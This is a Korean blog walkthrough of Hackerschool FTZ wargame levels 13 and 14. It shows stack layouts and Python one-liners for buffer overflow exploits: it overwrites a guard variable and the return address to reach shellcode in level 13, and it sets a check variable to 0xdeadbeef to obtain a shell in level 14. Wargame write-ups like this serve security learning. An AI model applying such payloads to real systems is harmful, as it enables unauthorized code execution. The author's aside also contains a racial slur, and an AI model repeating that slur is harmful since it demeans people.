본문 바로가기
HACKING/HACKERSCHOOL FTZ

hackerschool ftz level 13, 14 문제 풀이

by pharmerci 2021. 5. 12.
728x90

level 13

level12에서 풀었던 비밀번호 이용해서 로그인해주고! 안에 뜯어봅니다.

attackme랑 hint가 있네요 hint 내용을 살펴보며언

i가 0x1234567이 아니면 프로그램이 죽습니다. i가 먼저 선언되었으니까 i의 시작 주소가 buf의 시작 주소보다 높다는 것을 알 수 있어요

 

 

 

 

 

 

gdb를 통해서 분석에 들어갑니다.

buf[1024] [ebp-1048]

dummy[12]

i[4] [ebp-12]

dummy[8]

SFP[4]

RET[4]

이러한 구조를 갖는 것 같군요

buf[1024]와 dummy[12]를 쓸데 없는 값으로(A로 채울게요) 채워주고 i를 01234567로 채우고 dummy[8]과 SFP[4]를 다시 A로 채우고 리턴주소를 덮으면 됩니당

python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"RETN"'`

이렇게 말이죠!

 

 

 

 

 

tmp로 가서 환경변수를 설정해줍니다. level12랑 거의 동일하죠? 이제 리턴하는 주소를 알아냈으니까!

 

 

 

 

 

./attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x8a\xfc\xff\xbf"'`

입력해줘요 그러면 정상적인 명령어 입력창이 안뜨고 다른 입력창이 뜨는데! 여기에다가 my-pass 입력해주면?

비밀번호가 뜹니다.

비밀번호가 참 이상하네... NIGGA 원하는게 무엇이냐..?

 

 

 

 

 

level14

아이디랑 비밀번호 입력하구,, 또 했던것처럼 안에 뒤져보기

hint가 있군여!?

 

 

 

 

 

 

안에를 뒤져보자! 이번에는 check가 0xdeadbeef이면 쉘을 띄운다는 얘긴 것 같다.

 

 

 

 

 

 

오홍.. gdb로 안에를 살펴보니

buf[20] [ebp-56]

dummy[20]

check[4] [ebp-16]

crap[4] 과 dummy[8]

SFP[4]

RET[4]

이런 구조인 듯 하다.

 

 

 

 

 

 

(python -c 'print "A"*40+"\xef\xbe\xad\xde"'; cat) | ./attackme 이렇게 입력하면 된다.

앞쪽에 40바이트는 필요 없는 쓰레기값으로 채워주고 4바이트는 아까 check에 deadbeef여야 한다고 했으니까 그렇게 채워넣으면 된다!

그러면 평범한 명령어가 나오지 않는다 여기서 my-pass를 쓱 입력하믄

 

 

 

 

 

 

my-pass

비밀번호가 나온다!

 

 

 

 

 

728x90